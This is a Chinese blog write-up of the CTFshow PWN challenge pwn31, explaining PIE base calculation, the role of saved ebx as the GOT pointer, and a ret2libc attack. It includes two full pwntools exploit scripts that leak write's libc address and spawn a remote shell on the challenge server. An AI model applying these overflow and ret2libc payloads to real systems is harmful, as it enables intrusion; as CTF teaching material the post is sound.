深入分析CTFshow-PWN入门-pwn31的解法与原理

pwn31

这道题关于程序基址和调用约定中ebx的作用

image

checkse

image

32 位小端序,开启了 PIE 保护
程序基址 + 偏移地址 = 真实地址
关闭 pie 保护时,程序基址为默认值,也就是说可以直接得到函数的真实地址
开启 pie 保护后,每次运行都会有不一样的程序基址
回到题目
拖进 ida,反编译

image

发现这里泄露了 mian 函数的真实地址,可以用来计算程序基址
我们还是用 pwn25 题的脚本,只需要更改第一步

# -*- coding: utf-8 -*-							# 设置编码格式,用来在py2代码使用中文注释
from pwn import *								# 导入 pwntools 库
from LibcSearcher import *						# 导入 libcSearcher 库
context.log_level = 'debug'						# 设置日志级别为调试模式,显示详细信息
#io = process('./pwn')							# 本地连接
io = remote("pwn.challenge.ctf.show", 28294)	# 远程连接

# 1
elf = ELF('./pwn')								# 解析目标程序的 ELF 文件
main = int(io.recvline(),16)					# 接受程序泄露的 main 函数真实地址
base = main - elf.sym['main']					# 计算程序基址
ctfshow = base + elf.sym['ctfshow']				# 计算 ctfshow 的真实地址
write_got = base + elf.got['write']				# 计算 write@got 的真实地址
write_plt = base + elf.plt['write']				# 计算 write@plt 的真实地址

#2
payload1 = cyclic(0x88+0x4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)							# 传入payload1

#3
write = u32(io.recv(4))							# 接收打印出来的 write 的真实地址(4 字节)
                                                # u32():将字节数据转换为无符号 32 位整数
print(hex(write))
libc = LibcSearcher('write',write)				# 根据 write的地址匹配远程 libc版本
libc_base = write - libc.dump('write')			# 计算 libc基地址

#4
system = libc_base + libc.dump('system')		# 计算 system 函数真实地址
bin_sh = libc_base + libc.dump('str_bin_sh')	# 计算 /bin/sh 字符串真实地址

#5
payload2 = cyclic(0x88+0x4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2)							# 传入payload2
io.interactive()								# 进入交互模式,获得远程 shell

开启容器,运行

image

但是却提示没有合适的 libc 基址,泄露出来的write的真实地址是0x656d6974
libc 函数地址通常以0xf7xxxxxx0xf6xxxxxx开头,这一看就不是一个有效地址
那是什么原因导致了这个错误的地址?我们泄露思路肯定是没错的,问题出在细节上
我们打开 ctfshow 函数的汇编代码

image

这里就是问题所在,挑出重点部分逐行解释

push    ebx        								; 将 ebx 的原始值压栈保存(存到 [ebp-0x4])

...

call    __x86_get_pc_thunk_ax 					; 将下一条指令地址存入 eax
add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $) ; eax += GOT 表与此指令的相对地址
                                                ;运行到这里,eax存的即是 GOT表 真实地址
...

mov     ebx, eax               					; 将 GOT 真实存入 ebx

...

mov     ebx, [ebp+var_4]  						; 从栈中恢复原始 ebx 值(var_4 = -4)

这种情况一般会出现在函数中需要使用 GOT 表地址的时候,简单来说就是主程序中 ebx 是有值的,在调用约定中 ebx 用来临时存放 GOT 表真实地址,方便函数使用,这时就会把 ebx 原来的值压入栈上先保存下来,让 ebx 临时储存 GOT 表的地址,函数结束时再恢复
我们刚刚的 payload1 中把 ebx 位置[ebp-0x4]覆盖成了“AAAA”,然后 write@plt 的跳转逻辑直接访问 GOT 表,无需 ebx参与,所以正确调用到了 write 函数
紧接着 ebx 带着错误的“AAAA”又去访问write@got地址,其结构大致如下

write@plt:
    jmp [ebx + write@got_offset]  ; 第一次跳转到 _dl_runtime_resolve
    push reloc_offset             ; 重定位条目索引
    jmp _dl_runtime_resolve       ; 解析真实地址并写入 GOT

也就是说,它是需要用 ebx 去计算的,ebx 正确才能泄露出正确的 write 的真实地址
而这里的 ebx,既不是“AAAA”,也不是要恢复成的原来主函数的 ebx 值,而是调用约定中 GOT 表的地址
所以这里我们应该把 ebx 还原成 GOT 表地址,通过我们算出的程序基址,再加上 GOT 表的偏移地址
即:ebx = base + 0x1fc0,偏移地址在 ida 里用快捷键Ctrl+S查看

image

综上所述,正确的 payload1 应该是:payload1 = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4),其栈帧如下:

偏移范围 填充内容 对应栈帧区域 作用说明
[ebp+0x88]→[ebp+0x04] b"A" * 132 缓冲区填充 覆盖局部变量和栈空间,直到覆盖保存的 ebx 前(需对齐到 ebp-0x4
[ebp-0x4] p32(ebx) 保存的 ebx 覆盖函数保存的原始 ebx(需合法值,否则 mov ebx, [ebp-0x4] 会崩溃)
[ebp] b"AAAA" 旧的 ebp 覆盖栈帧指针(通常可随意填充)
[ebp+0x4] p32(write_plt) 返回地址 劫持控制流,跳转到 write@plt
[ebp+0x8] p32(ctfshow) write 的返回地址 write 执行后返回到 ctfshow 函数(或其他合法地址)
[ebp+0xC] p32(1) write 参数1:fd fd=1(标准输出)
[ebp+0x10] p32(write_got) write 参数2:buf 要泄露的地址(write@got 的地址)
[ebp+0x14] p32(4) write 参数3:len 读取 4 字节(write 的返回值)

最终的 exp

# -*- coding: utf-8 -*-							# 设置编码格式,用来在py2代码使用中文注释
from pwn import *								# 导入 pwntools 库
from LibcSearcher import *						# 导入 libcSearcher 库
context.log_level = 'debug'						# 设置日志级别为调试模式,显示详细信息
#io = process('./pwn')							# 本地连接
io = remote("pwn.challenge.ctf.show", 28294)	# 远程连接

# 1
elf = ELF('./pwn')								# 解析目标程序的 ELF 文件
main = int(io.recvline(),16)					# 接受程序泄露的 main 函数真实地址
base = main - elf.sym['main']					# 计算程序基址
ctfshow = base + elf.sym['ctfshow']				# 计算 ctfshow 的真实地址
write_got = base + elf.got['write']				# 计算 write@got 的真实地址
write_plt = base + elf.plt['write']				# 计算 write@plt 的真实地址
ebx = base + 0x1fc0								# 将ebx恢复为GOT表真实地址

#2
payload1 = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)							# 传入payload1

#3
write = u32(io.recv(4))							# 接收打印出来的 write 的真实地址(4 字节)
                                                # u32():将字节数据转换为无符号 32 位整数
libc = LibcSearcher('write',write)				# 根据 write的地址匹配远程 libc版本
libc_base = write - libc.dump('write')			# 计算 libc基地址

#4
system = libc_base + libc.dump('system')		# 计算 system 函数真实地址
bin_sh = libc_base + libc.dump('str_bin_sh')	# 计算 /bin/sh 字符串真实地址

#5
payload2 = b"A" * 140 + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2)							# 传入payload2
io.interactive()								# 进入交互模式,获得远程 shell

最后一步~运行运行运行…………

image

终于拿到 fla

posted @ 2025-08-09 23:13  Claire_cat  阅读(61)  评论(0)    收藏  举报